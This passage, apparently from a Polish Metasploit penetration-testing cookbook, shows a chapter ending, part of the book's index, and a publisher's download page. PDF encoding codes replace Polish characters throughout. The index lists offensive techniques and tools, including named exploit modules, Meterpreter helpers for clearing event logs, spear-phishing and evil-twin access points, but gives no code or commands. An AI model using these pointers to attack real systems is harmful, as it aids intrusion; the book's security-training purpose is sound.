w(cid:239)asny modu(cid:239) i doda(cid:202) go do frameworku Metasploit. Je(cid:258)li chcesz budowa(cid:202) dobre modu(cid:239)y, na pewno potrzebujesz solidnej wiedzy na temat pisania skryptów Ruby. Mo(cid:285)esz równie(cid:285) wspomóc spo(cid:239)eczno(cid:258)(cid:202) Metasploit poprzez publikacj(cid:218) swoich modu(cid:239)ów, aby inni mogli z nich korzysta(cid:202). 140 Kup książkęPoleć książkę Skorowidz A adres IP, 184 MAC, 171, 191 aktualizacja systemu BackTrack, 28 pakietu SET, 207 alokator pami(cid:218)ci, 91 analiza luk w zabezpieczeniach, 19 modu(cid:239)u, 133 skryptu, 266 Antiparser, 159 antyphishingowy pasek narz(cid:218)dzi, 43 AP, access point, 189 aplikacja, Patrz tak(cid:285)e narz(cid:218)dzie 7zip, 87 Adobe Acrobat, 107 Adobe Reader, 106 AVG 10, 117 ESET NOD32, 116 Fern WiFi Cracker, 180, 187–194 Flash Player, 102 MacStumbler, 198 Microsoft Excel 2007, 106 Microsoft Word, 104 PuTTY, 31–33, 254 VMware, 29 VNCViewer, 271 Vomit, 174 Wiresh, 168 archiwum sfx, 87, 120 atak client-side, 98, 110 DoS, 127, 175 e-mail, 214 Incognito, 276–279 MiTM, 172 phishing, 212 si(cid:239)owy, 123, 124 spear-phishing, 212, 213 typu z(cid:239)y bli(cid:283)niak, 198 wieloaspektowy, 218 WWW, 215 wykorzystuj(cid:200)cy podszywanie si(cid:218), 173 zatruwania ARP, 172 atrybuty MACE, 237 audyt bezpiecze(cid:241)stwa, 95 sieci bezprzewodowej, 191 autoryzacja, 136 B backdoor, 219, 221, 247 BackTrack 5 R3, 13, 26, 207 bajty zerowe, null bytes, 147 baza danych GHDB, 43 MySQL, 126 PostgreSQL, 33 BBQSQL, 37 biblioteka biblioteki MSF Core, 20 Rex, 20, 265 shell32.dll, 259 DLL, 92, 94 MSF, 132 MSFcore, 144 blok SEH, 118 Bluetooth, 179 b(cid:239)(cid:200)d 404, 176 b(cid:239)(cid:218)dy bazy danych, 22 instalacji Metasploit, 25 po(cid:239)(cid:200)czenia z baz(cid:200), 35 brama sieciowa, gateway, 229 budowanie, Patrz tworzenie C certyfikat, 71, 211 certyfikat SSH, 33 ciasteczka, cookies, 193 czynno(cid:258)ci wst(cid:218)pne, 18 D deklaracje funkcji, 268 deszyfrowanie w locie, 193 DLL, Dynamic Link Library, 94 dodatek Railgun, 259, 260 dodawanie bibliotek DLL, 261 DLL do Railgun, 261 parametrów, 263 trasy, 184 dokumentacja narz(cid:218)dzia Railgun, 261 domieszki exploitów Exploit::BruteTargets, 142 Exploit::Capture, 143 Exploit::Remote::DCERPC, 142 Exploit::Remote::Ftp, 142 Exploit::Remote::MSSQL, 143 Exploit::Remote::SMB, 142 Exploit::Remote::TCP, 142 Exploit::Remote::UDP, 142 domieszki Meterpretera, 255, 257 cmd_exec, 257 eventlog_clear, 257 eventlog_list, 257 file_local_write, 257 is_admin?, 257 is_uac_enabled?, 257 registry_createkey, 257 registry_deleteval, 257 registry_delkey, 257 registry_enumkeys, 257 registry_enumvals, 258 registry_getvaldata, 258 Kup książkęPoleć książkę Skorowidz domieszki Meterpretera service_create, 258 service_delete, 258 service_info, 258 service_list, 258 service_start, 258 service_stop, 258 DoS, Denial of Service, 128, 175 dost(cid:218)p dowód koncepcji, proof of concept, do interfejsu, 251 do Metasploit, 24 zdalny, 83 147 dzia(cid:239)anie exploita dcom, 84 systemu VoIP, 162 dzienniki firewalli, 51 E edytor tekstowy gedit, 264 eksploatacja, 19 aplikacji PHP, 274 typu client-side, 97 elementy TLV, 234 enumeracja, 42, 127 exploit, 20, 39, 77, 141–159 dcom, 84 KiTrapOD, 233 lsa_transnames_heap, 89 ms03_026_dcom, 79, 83 ms08_067_netapi, 276 ms10_087_rtf_pfragments_bof, 104 ms11_021_xlb_bof, 106 webdav_dll_hijacker, 92 extranet, 42 F fa(cid:239)szywy faza podpis apletu, 218 punkt dost(cid:218)powy, 198, 200 poeksploatacyjna, 19 skanowania i enumeracji, 164 filtr antyphishingowy, 43 firewall, 31, 232 floodowanie, 176 folder exploit, 143 gather, 130 modules, 122 footprinting, 42 292 format framework modu(cid:239)u exploita, 144 RTF, 104 SWF, 103 U3D, 106, 108 Antiparser, 159 BBQSQL, 37 Karmetasploit, 201 Metasploit, 19 funkcja check(), 145 CMshtmlEd::Exec(), 99 connect_login, 135 def initialize(), 145 exploit(), 145, 151 initialize(), 144, 150 IsUserAnAdmin, 259 Targets_exec(), 271 VirtualAlloc, 118 wrong_meter_version(), 268 funkcje Meterpretera, 224 fuzzer, 156 protoko(cid:239)owy, 154 serwera FTP FileZilla, 156 fuzzowanie aplikacji, 153 importowanie modu(cid:239)u exploita, 152 wyników skanowania, 70 informacje o autoryzacji, 136 o otwartych portach, 98 o systemie operacyjnym, 98 instalowanie interfejs bazy danych, 33 exploita, 81 Fern Wi-Fi Cracker, 181 frameworku Metasploit, 23, 26 laboratorium, 164 maszyny wirtualnej, 29 API, 255 API Meterpretera, 258 bazy danych, 63 DCOM, 81 graficzny u(cid:285)ytkownika, GUI, 21 msfcli, 21 msfconsole, 21, 34 msfgui, 21 msfweb, 21 u(cid:285)ytkownika, UI, 21 internet, 42 intranet, 42 G generator zainfekowanych no(cid:258)ników danych, 219 generowanie hase(cid:239), 124 pliku binarnego, 108 geolokalizacja, 194, 196 GHDB, 43 GUI, Graphical User Interface, 21, 180 H has(cid:239)o, 168 hopper VoIP, 171 hostowanie samodzielne, 162 I IAENG, 7 identyfikacja systemu operacyjnego, 50 identyfikator procesu, PID, 242, 271 us(cid:239)ugi, SSID, 201 IIS, Internet Information Services, 128 J j(cid:218)zyk Python, 191 Ruby, 84 Visual Basic, 87, 120 K Karmetasploit, 201 klient SSH, 31 klonowanie, 30 adresu URL, 216 frameworku Metasploit, 25 kod pow(cid:239)oki, 108, 109 kod pow(cid:239)oki syringe.sh, 119, 120 kodowanie msf, 87 komenda, Patrz polecenie komentarze, 263 komunikacja klient-serwer, 227 konfigurowanie bazy danych, 33 BBQSQL, 38 Fern Wi-Fi Cracker, 181 kana(cid:239)ów komunikacji, 234 Karmetasploit, 201 laboratorium, 164 Kup książkę
Pobierz darmowy fragment (pdf)

Gdzie kupić całą publikację:

Metasploit. Receptury pentestera. Wydanie II
Autor:
,

Opinie na temat publikacji:


Inne popularne pozycje z tej kategorii:


Czytaj również:


Prowadzisz stronę lub blog? Wstaw link do fragmentu tej książki i współpracuj z Cyfroteką: